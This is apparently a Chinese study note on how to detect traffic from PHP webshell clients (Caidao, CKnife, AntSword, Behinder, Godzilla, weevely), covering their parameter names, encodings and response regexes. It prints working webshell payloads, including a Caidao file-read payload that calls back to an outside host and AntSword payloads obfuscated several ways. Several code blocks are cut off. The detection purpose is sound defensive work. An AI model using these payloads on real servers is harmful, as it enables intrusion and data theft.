看到一堆面试题都有涉及到后门客户端的流量特征,这里自己作一些记录
菜刀
菜刀流量默认使用Base64编码
特征非常明显
1 | pass=@eval%01(base64_decode($_POST[z0])); |
解码之后的内容
1 | @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$F=base64_decode($_POST["z1"]);$P=@fopen($F,"r");echo(@fread($P,filesize($F)));@fclose($P);if(@$_COOKIE['f1']!=95){@setcookie('f1',95);@file_get_contents('http://zxexp.com/e/?caidao='.$_SERVER[HTTP_HOST].$_SERVER[REQUEST_URI].'_P='.key($_POST));};echo("|<-");die(); |
值得一提的是,@set_magic_quotes_runtime(0);
这条命令在php7中无法运行
1 | php > set_magic_quotes_runtime(0); |
这直接导致了菜刀无法在php7的环境下使用
参数特征
- POST: z0 z1 z2 …
流量特征
- QGluaV9zZXQoImRpc3BsYXlfZXJyb3Jz…
- @eval%01(base64_decode($_POST[z0]));
CKnife
CKnife使用Base64编码,同样不适用于php7环境,原因与菜刀相同
1 | pass=@eval%01(base64_decode($_POST[action])); |
解码之后的内容
1 | @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$F=base64_decode($_POST["z1"]);$P=@fopen($F,"r");echo(@fread($P,filesize($F)));@fclose($P);;echo("|<-");die(); |
参数特征
- POST: z0 z1 z2 …
流量特征
- QGluaV9zZXQoImRpc3BsYXlfZXJyb3Jz…
- @eval%01(base64_decode($_POST[action]));
蚁剑
default
1 | pass=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "7a5cd";echo @asenc($output);echo "7a6ba";}ob_start();try{$D=base64_decode($_POST["0x89edb44048ea7"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R=" ".$T." ".@filesize($P)." ".$E."";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); |
base64
1 | pass=@eval(@base64_decode($_POST[_0xc1ac917e3ce47])); |
rot13
1 | pass=@eval(@str_rot13($_POST[_0x5d1c88d4565e5])); |
chr
1 | pass=@eVAl(cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116).ChR(40).ChR(34).ChR(100).ChR(105).ChR(115).ChR(112).ChR(108).ChR(97).ChR(121).ChR(95).ChR(101).ChR(114).ChR(114).ChR(111).ChR(114).ChR(115).ChR(34).ChR(44).ChR(32).ChR(34).ChR(48).ChR(34).ChR(41).ChR(59).ChR(64).ChR(115).ChR(101).ChR(116).ChR(95).ChR(116).ChR(105).ChR(109).ChR(101).ChR(95).ChR(108).ChR(105).ChR(109).ChR(105).ChR(116).ChR(40).ChR(48).ChR(41).ChR(59).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(97).ChR(115).ChR(101).ChR(110).ChR(99).ChR(40).ChR(36).ChR(111).ChR(117).ChR(116).ChR(41).ChR(123).ChR(114).ChR(101).ChR(116).ChR(117).ChR(114).ChR(110).ChR(32).ChR(36).ChR(111).ChR(117).ChR(116).ChR(59).ChR(125).ChR(59).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(97).ChR(115).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(40).ChR(41).ChR(123).ChR(36).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(61).ChR(111).ChR(98).ChR(95).ChR(103).ChR(101).ChR(116).ChR(95).ChR(99).ChR(111).ChR(110).ChR(116).ChR(101).ChR(110).ChR(116).ChR(115).ChR(40).ChR(41).ChR(59).ChR(111).ChR(98).ChR(95).ChR(101).ChR(110).ChR(100).ChR(95).ChR(99).ChR(108).ChR(101).ChR(97).ChR(110).ChR(40).ChR(41).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(57).ChR(98).ChR(100).ChR(57).ChR(101).ChR(34).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(64).ChR(97).ChR(115).ChR(101).ChR(110).ChR(99).ChR(40).ChR(36).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(41).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(56).ChR(102).ChR(52).ChR(54).ChR(56).ChR(34).ChR(59).ChR(125).ChR(111).ChR(98).ChR(95).ChR(115).ChR(116).ChR(97).ChR(114).ChR(116).ChR(40).ChR(41).ChR(59).ChR(116).ChR(114).ChR(121).ChR(123).ChR(36).ChR(68).ChR(61).ChR(100).ChR(105).ChR(114).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(36).ChR(95).ChR(83).ChR(69).ChR(82).ChR(86).ChR(69).ChR(82).ChR(91).ChR(34).ChR(83).ChR(67).ChR(82).ChR(73).ChR(80).ChR(84).ChR(95).ChR(70).ChR(73).ChR(76).ChR(69).ChR(78).ChR(65).ChR(77).ChR(69).ChR(34).ChR(93).ChR(41).ChR(59).ChR(105).ChR(102).ChR(40).ChR(36).ChR(68).ChR(61).ChR(61).ChR(34).ChR(34).ChR(41).ChR(36).ChR(68).ChR(61).ChR(100).ChR(105).ChR(114).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(36).ChR(95).ChR(83).ChR(69).ChR(82).ChR(86).ChR(69).ChR(82).ChR(91).ChR(34).ChR(80).ChR(65).ChR(84).ChR(72).ChR(95).ChR(84).ChR(82).ChR(65).ChR(78).ChR(83).ChR(76).ChR(65).ChR(84).ChR(69).ChR(68).ChR(34).ChR(93).ChR(41).ChR(59).ChR(36).ChR(82).ChR(61).ChR(34).ChR(123).ChR(36).ChR(68).ChR(125).ChR(9).ChR(34).ChR(59).ChR(105).ChR(102).ChR(40).ChR(115).ChR(117).ChR(98).ChR(115).ChR(116).ChR(114).ChR(40).ChR(36).ChR(68).ChR(44).ChR(48).ChR(44).ChR(49).ChR(41).ChR(33).ChR(61).ChR(34).ChR(47).ChR(34).ChR(41).ChR(123).ChR(102).ChR(111).ChR(114).ChR(101).ChR(97).ChR(99).ChR(104).ChR(40).ChR(114).ChR(97).ChR(110).ChR(103).ChR(101).ChR(40).ChR(34).ChR(67).ChR(34).ChR(44).ChR(34).ChR(90).ChR(34).ChR(41).ChR(97).ChR(115).ChR(32).ChR(36).ChR(76).ChR(41).ChR(105).ChR(102).ChR(40).ChR(105).ChR(115).ChR(95).ChR(100).ChR(105).ChR(114).ChR(40).ChR(34).ChR(123).ChR(36).ChR(76).ChR(125).ChR(58).ChR(34).ChR(41).ChR(41).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(123).ChR(36).ChR(76).ChR(125).ChR(58).ChR(34).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(123).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(47).ChR(34).ChR(59).ChR(125).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(9).ChR(34).ChR(59).ChR(36).ChR(117).ChR(61).ChR(40).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(95).ChR(101).ChR(120).ChR(105).ChR(115).ChR(116).ChR(115).ChR(40).ChR(34).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(101).ChR(103).ChR(105).ChR(100).ChR(34).ChR(41).ChR(41).ChR(63).ChR(64).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(112).ChR(119).ChR(117).ChR(105).ChR(100).ChR(40).ChR(64).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(101).ChR(117).ChR(105).ChR(100).ChR(40).ChR(41).ChR(41).ChR(58).ChR(34).ChR(34).ChR(59).ChR(36).ChR(115).ChR(61).ChR(40).ChR(36).ChR(117).ChR(41).ChR(63).ChR(36).ChR(117).ChR(91).ChR(34).ChR(110).ChR(97).ChR(109).ChR(101).ChR(34).ChR(93).ChR(58).ChR(64).ChR(103).ChR(101).ChR(116).ChR(95).ChR(99).ChR(117).ChR(114).ChR(114).ChR(101).ChR(110).ChR(116).ChR(95).ChR(117).ChR(115).ChR(101).ChR(114).ChR(40).ChR(41).ChR(59).ChR(36).ChR(82).ChR(46).ChR(61).ChR(112).ChR(104).ChR(112).ChR(95).ChR(117).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(41).ChR(59).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(9).ChR(123).ChR(36).ChR(115).ChR(125).ChR(34).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(36).ChR(82).ChR(59).ChR(59).ChR(125).ChR(99).ChR(97).ChR(116).ChR(99).ChR(104).ChR(40).ChR(69).ChR(120).ChR(99).ChR(101).ChR(112).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(36).ChR(101).ChR(41).ChR(123).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(69).ChR(82).ChR(82).ChR(79).ChR(82).ChR(58).ChR(47).ChR(47).ChR(34).ChR(46).ChR(36).ChR(101).ChR(45).ChR(62).ChR(103).ChR(101).ChR(116).ChR(77).ChR(101).ChR(115).ChR(115).ChR(97).ChR(103).ChR(101).ChR(40).ChR(41).ChR(59).ChR(125).ChR(59).ChR(97).ChR(115).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(40).ChR(41).ChR(59).ChR(100).ChR(105).ChR(101).ChR(40).ChR(41).ChR(59)); |
chr16
1 | pass=@eVAl(cHr(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x28).ChR(0x22).ChR(0x64).ChR(0x69).ChR(0x73).ChR(0x70).ChR(0x6c).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x65).ChR(0x72).ChR(0x72).ChR(0x6f).ChR(0x72).ChR(0x73).ChR(0x22).ChR(0x2c).ChR(0x20).ChR(0x22).ChR(0x30).ChR(0x22).ChR(0x29).ChR(0x3b).ChR(0x40).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x5f).ChR(0x74).ChR(0x69).ChR(0x6d).ChR(0x65).ChR(0x5f).ChR(0x6c).ChR(0x69).ChR(0x6d).ChR(0x69).ChR(0x74).ChR(0x28).ChR(0x30).ChR(0x29).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x6e).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x29).ChR(0x7b).ChR(0x72).ChR(0x65).ChR(0x74).ChR(0x75).ChR(0x72).ChR(0x6e).ChR(0x20).ChR(0x24).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x61).ChR(0x73).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x28).ChR(0x29).ChR(0x7b).ChR(0x24).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x3d).ChR(0x6f).ChR(0x62).ChR(0x5f).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x5f).ChR(0x63).ChR(0x6f).ChR(0x6e).ChR(0x74).ChR(0x65).ChR(0x6e).ChR(0x74).ChR(0x73).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x6f).ChR(0x62).ChR(0x5f).ChR(0x65).ChR(0x6e).ChR(0x64).ChR(0x5f).ChR(0x63).ChR(0x6c).ChR(0x65).ChR(0x61).ChR(0x6e).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x22).ChR(0x39).ChR(0x34).ChR(0x31).ChR(0x39).ChR(0x37).ChR(0x22).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x40).ChR(0x61).ChR(0x73).ChR(0x65).ChR(0x6e).ChR(0x63).ChR(0x28).ChR(0x24).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x29).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x22).ChR(0x66).ChR(0x66).ChR(0x33).ChR(0x65).ChR(0x32).ChR(0x22).ChR(0x3b).ChR(0x7d).ChR(0x6f).ChR(0x62).ChR(0x5f).ChR(0x73).ChR(0x74).ChR(0x61).ChR(0x72).ChR(0x74).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x74).ChR(0x72).ChR(0x79).ChR(0x7b).ChR(0x24).ChR(0x44).ChR(0x3d).ChR(0x64).ChR(0x69).ChR(0x72).ChR(0x6e).ChR(0x61).ChR(0x6d).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x5f).ChR(0x53).ChR(0x45).ChR(0x52).ChR(0x56).ChR(0x45).ChR(0x52).ChR(0x5b).ChR(0x22).ChR(0x53).ChR(0x43).ChR(0x52).ChR(0x49).ChR(0x50).ChR(0x54).ChR(0x5f).ChR(0x46).ChR(0x49).ChR(0x4c).ChR(0x45).ChR(0x4e).ChR(0x41).ChR(0x4d).ChR(0x45).ChR(0x22).ChR(0x5d).ChR(0x29).ChR(0x3b).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x24).ChR(0x44).ChR(0x3d).ChR(0x3d).ChR(0x22).ChR(0x22).ChR(0x29).ChR(0x24).ChR(0x44).ChR(0x3d).ChR(0x64).ChR(0x69).ChR(0x72).ChR(0x6e).ChR(0x61).ChR(0x6d).ChR(0x65).ChR(0x28).ChR(0x24).ChR(0x5f).ChR(0x53).ChR(0x45).ChR(0x52).ChR(0x56).ChR(0x45).ChR(0x52).ChR(0x5b).ChR(0x22).ChR(0x50).ChR(0x41).ChR(0x54).ChR(0x48).ChR(0x5f).ChR(0x54).ChR(0x52).ChR(0x41).ChR(0x4e).ChR(0x53).ChR(0x4c).ChR(0x41).ChR(0x54).ChR(0x45).ChR(0x44).ChR(0x22).ChR(0x5d).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x52).ChR(0x3d).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x44).ChR(0x7d).ChR(0x9).ChR(0x22).ChR(0x3b).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x73).ChR(0x75).ChR(0x62).ChR(0x73).ChR(0x74).ChR(0x72).ChR(0x28).ChR(0x24).ChR(0x44).ChR(0x2c).ChR(0x30).ChR(0x2c).ChR(0x31).ChR(0x29).ChR(0x21).ChR(0x3d).ChR(0x22).ChR(0x2f).ChR(0x22).ChR(0x29).ChR(0x7b).ChR(0x66).ChR(0x6f).ChR(0x72).ChR(0x65).ChR(0x61).ChR(0x63).ChR(0x68).ChR(0x28).ChR(0x72).ChR(0x61).ChR(0x6e).ChR(0x67).ChR(0x65).ChR(0x28).ChR(0x22).ChR(0x43).ChR(0x22).ChR(0x2c).ChR(0x22).ChR(0x5a).ChR(0x22).ChR(0x29).ChR(0x61).ChR(0x73).ChR(0x20).ChR(0x24).ChR(0x4c).ChR(0x29).ChR(0x69).ChR(0x66).ChR(0x28).ChR(0x69).ChR(0x73).ChR(0x5f).ChR(0x64).ChR(0x69).ChR(0x72).ChR(0x28).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x4c).ChR(0x7d).ChR(0x3a).ChR(0x22).ChR(0x29).ChR(0x29).ChR(0x24).ChR(0x52).ChR(0x2e).ChR(0x3d).ChR(0x22).ChR(0x7b).ChR(0x24).ChR(0x4c).ChR(0x7d).ChR(0x3a).ChR(0x22).ChR(0x3b).ChR(0x7d).ChR(0x65).ChR(0x6c).ChR(0x73).ChR(0x65).ChR(0x7b).ChR(0x24).ChR(0x52).ChR(0x2e).ChR(0x3d).ChR(0x22).ChR(0x2f).ChR(0x22).ChR(0x3b).ChR(0x7d).ChR(0x24).ChR(0x52).ChR(0x2e).ChR(0x3d).ChR(0x22).ChR(0x9).ChR(0x22).ChR(0x3b).ChR(0x24).ChR(0x75).ChR(0x3d).ChR(0x28).ChR(0x66).ChR(0x75).ChR(0x6e).ChR(0x63).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x5f).ChR(0x65).ChR(0x78).ChR(0x69).ChR(0x73).ChR(0x74).ChR(0x73).ChR(0x28).ChR(0x22).ChR(0x70).ChR(0x6f).ChR(0x73).ChR(0x69).ChR(0x78).ChR(0x5f).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x65).ChR(0x67).ChR(0x69).ChR(0x64).ChR(0x22).ChR(0x29).ChR(0x29).ChR(0x3f).ChR(0x40).ChR(0x70).ChR(0x6f).ChR(0x73).ChR(0x69).ChR(0x78).ChR(0x5f).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x70).ChR(0x77).ChR(0x75).ChR(0x69).ChR(0x64).ChR(0x28).ChR(0x40).ChR(0x70).ChR(0x6f).ChR(0x73).ChR(0x69).ChR(0x78).ChR(0x5f).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x65).ChR(0x75).ChR(0x69).ChR(0x64).ChR(0x28).ChR(0x29).ChR(0x29).ChR(0x3a).ChR(0x22).ChR(0x22).ChR(0x3b).ChR(0x24).ChR(0x73).ChR(0x3d).ChR(0x28).ChR(0x24).ChR(0x75).ChR(0x29).ChR(0x3f).ChR(0x24).ChR(0x75).ChR(0x5b).ChR(0x22).ChR(0x6e).ChR(0x61).ChR(0x6d).ChR(0x65).ChR(0x22).ChR(0x5d).ChR(0x3a).ChR(0x40).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x5f).ChR(0x63).ChR(0x75).ChR(0x72).ChR(0x72).ChR(0x65).ChR(0x6e).ChR(0x74).ChR(0x5f).ChR(0x75).ChR(0x73).ChR(0x65).ChR(0x72).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x52).ChR(0x2e).ChR(0x3d).ChR(0x70).ChR(0x68).ChR(0x70).ChR(0x5f).ChR(0x75).ChR(0x6e).ChR(0x61).ChR(0x6d).ChR(0x65).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x52).ChR(0x2e).ChR(0x3d).ChR(0x22).ChR(0x9).ChR(0x7b).ChR(0x24).ChR(0x73).ChR(0x7d).ChR(0x22).ChR(0x3b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x24).ChR(0x52).ChR(0x3b).ChR(0x3b).ChR(0x7d).ChR(0x63).ChR(0x61).ChR(0x74).ChR(0x63).ChR(0x68).ChR(0x28).ChR(0x45).ChR(0x78).ChR(0x63).ChR(0x65).ChR(0x70).ChR(0x74).ChR(0x69).ChR(0x6f).ChR(0x6e).ChR(0x20).ChR(0x24).ChR(0x65).ChR(0x29).ChR(0x7b).ChR(0x65).ChR(0x63).ChR(0x68).ChR(0x6f).ChR(0x20).ChR(0x22).ChR(0x45).ChR(0x52).ChR(0x52).ChR(0x4f).ChR(0x52).ChR(0x3a).ChR(0x2f).ChR(0x2f).ChR(0x22).ChR(0x2e).ChR(0x24).ChR(0x65).ChR(0x2d).ChR(0x3e).ChR(0x67).ChR(0x65).ChR(0x74).ChR(0x4d).ChR(0x65).ChR(0x73).ChR(0x73).ChR(0x61).ChR(0x67).ChR(0x65).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x7d).ChR(0x3b).ChR(0x61).ChR(0x73).ChR(0x6f).ChR(0x75).ChR(0x74).ChR(0x70).ChR(0x75).ChR(0x74).ChR(0x28).ChR(0x29).ChR(0x3b).ChR(0x64).ChR(0x69).ChR(0x65).ChR(0x28).ChR(0x29).ChR(0x3b)); |
参数特征
POST:
- default & chr & chr16:
0x[0-9a-f]{13}
- base64 & rot13:
_0x[0-9a-f]{13}
流量特征
- default: @ini_set(“display_errors”,“0”);…
- base64: QGluaV9zZXQoImRpc3BsYXlfZXJyb3Jz…
- rot13: @vav_frg(“qvfcynl_reebef”, “0”);…
- chr: eVAl cHr(
\d+
) ChR(\d+
)(大量) - chr16: eVAl cHr(
0x[0-9a-f]{2}
) ChR(0x[0-9a-f]{2}
)(大量)
冰蝎
冰蝎支持两种流量加密方式
- AES-128-CBC
- XOR
默认给出的冰蝎Shell优先采用AES-128-CBC的加密方式
冰蝎的交互过程如下
- 客户端通过携带GET参数进行请求
- 服务端接收到GET参数之后产生16字节密钥(Hex)
- 客户端获得密钥之后对之后的Payload进行加密
连接流量
AES-128-CBC
随机生成content,将Payload发送至服务端并将运行结果返回给客户端
用于验证服务端是否支持分组加密
1 | @error_reporting(0); |
1 | error_reporting(0); |
XOR
先发送一个验证性Payload,即AES-128-CBC中的Content验证
此时未通过验证,则客户端使用XOR加密方式
1 | error_reporting(0); |
参数特征
无参数
流量特征
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
- 请求中GET参数值为三位数字,且服务器响应为
[0-9a-f]{16}
(针对连接时的流量)
哥斯拉
连接流量
客户端将函数代码加密后发送给服务端,服务端将函数存储于Session文件之中
1 | $parameters=array(); |
1 | cat /var/lib/php/sessions/sess_2fd4crdp3abn29ml2frbh5o7ks |
之后客户端只需要发送函数名即可
1 | pass=A2FhAQJxDwoxCyMVa2YFXjMHbQc5c3NYNTdYXA== |
响应内容为
[0-9a-f]{16}[a-zA-Z0-9\+/=]+[0-9a-f]{16}
如c23b1cfc51d5ff57AwREDA==36d66d61379e05ae
且前后的Hex值为一个固定的md5值
参数特征
无
流量特征
- POST数据中有大量的Base64编码内容(针对初始化过程)
- 响应内容:
[0-9a-f]{16}[a-zA-Z0-9\+/=]+[0-9a-f]{16}
其他
由于哥斯拉的函数存储于session之中,那么就可以尝试从session文件的内容检测入手
- 文件内容
1 | cat /var/lib/php/sessions/sess_2fd4crdp3abn29ml2frbh5o7ks |
- 文件大小
1 | ls -la /var/lib/php/sessions/sess_2fd4crdp3abn29ml2frbh5o7ks |
weevely
php后门
反混淆的结果如下
1 | $k="1a1dc91c"; |
可以看到weevely所使用的加密方法为
Base64+XOR+Zlib
1 | #coding: utf-8 |
php的一些压缩函数以及参数与压缩算法的对应关系
- gzencode() gzdecode() ZLIB_ENCODING_GZIP -> gzip
- gzcompress() gzuncompress() ZLIB_ENCODING_DEFLATE -> zlib
- gzdeflate() gzinflate() ZLIB_ENCODING_RAW -> deflate
参数特征
无参数
流量特征
- 客户端发送流量格式
scramble1+[0-9a-f]{12}[a-zA-Z0-9\+/=]*?[0-9a-f]{12}+scramble2
且前后两段12字节Hex值分别为$kh
和$kf
- 服务端响应流量格式为
scramble+[0-9a-f]{12}[a-zA-Z0-9\+/=]*?[0-9a-f]{12}
且scramble为$p
,前后两段12字节Hex值分别为$kh
和$kf